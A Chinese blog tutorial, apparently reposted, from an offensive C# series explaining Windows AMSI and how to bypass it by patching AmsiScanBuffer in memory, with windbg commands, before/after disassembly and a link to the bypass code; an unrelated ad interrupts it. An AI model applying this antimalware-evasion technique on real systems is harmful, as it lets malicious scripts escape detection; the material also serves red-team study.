本文是offensive csharp development的第五篇文章，主要讲解如何使用c#进行amsi bypass。
首先我们先来看一下什么是amsi。
AMSI的全称是反恶意软件扫描接口（Anti-Malware Scan Interface），是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口，程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务（如Windows Defender）。
服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。
AMSI为终端安全供应商提供了丰富的接口以帮助他们更好地对目标组件进行内存缓冲区安全扫描，或选择需要扫描的内容。根据微软提供的信息，AMSI支持的组件有如下几种：
1、用户账户控制（UAC）
2、PowerShell（脚本、交互使用和动态代码计算）
3、Windows脚本主机（wscript.exe和cscript.exe）
4、JavaScript和VBScript
5、Office VBA宏
AMSI的整体架构如下：
我们可以使用windbg来查看具体信息：
代码语言：javascript代码运行次数：0运行复制
x amsi!Amsi*
主要就是AmsiScanBuffer与AmsiScanString这两个函数的作用。查看详细
听脑AI
听脑AI语音，一款专注于音视频内容的工作学习助手，为用户提供便捷的音视频内容记录、整理与分析功能。
745 查看详情 代码语言：javascript代码运行次数：0运行复制
u amsi!AmsiScanString L60
因为AmsiScanString会调用AmsiScanBuffer，所以我们一般patch掉AmsiScanBuffer来进行bypass amsi。
常用方法如下：
代码语言：javascript代码运行次数：0运行复制
xor eax, eaxret剩下的就是来编写代码了。
patch前后：
代码语言：javascript代码运行次数：0运行复制
amsi!AmsiScanBuffer:00007ffb`dd183310 4c8bdc mov r11,rsp00007ffb`dd183313 49895b08 mov qword ptr [r11+8],rbx00007ffb`dd183317 49896b10 mov qword ptr [r11+10h],rbp00007ffb`dd18331b 49897318 mov qword ptr [r11+18h],rsiamsi!AmsiScanBuffer:00007ffb`dd183310 b857000780 mov eax,80070057h00007ffb`dd183315 c3 ret00007ffb`dd183316 084989 or byte ptr [rcx-77h],cl00007ffb`dd183319 6b1049 imul edx,dword ptr [rax],49h00007ffb`dd18331c 897318 mov dword ptr [rbx+18h],esi效果：
之后
代码地址：https://github.com/lengjibo/OffenSiveCSharp/tree/master/AmsiBypass
此篇也是该系列的最后一篇文章了，希望对大家有所帮助。
关于星球
之前后台一直有粉丝留言想要个星球或者群之类的交流之所，很可惜群很难有一个交流氛围，于是便和0xAxSDD老哥筹建了一个Redteamspace知识星球，此星球是主要是为了探讨前沿的红队技术，以及一些不为人所知的骚姿势，营造一个良好的学习氛围，如果你与我们一样热爱技术，善于分享，那么请加入我们吧！
以上就是OffenSive Csharp Development Part5 && 星球来袭的详细内容，更多请关注创想鸟其它相关文章！
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 chuangxiangniao@163.com 举报，一经查实，本站将立刻删除。
发布者：程序猿，转转请注明出处：https://www.chuangxiangniao.com/p/736054.html
微信扫一扫 
支付宝扫一扫 
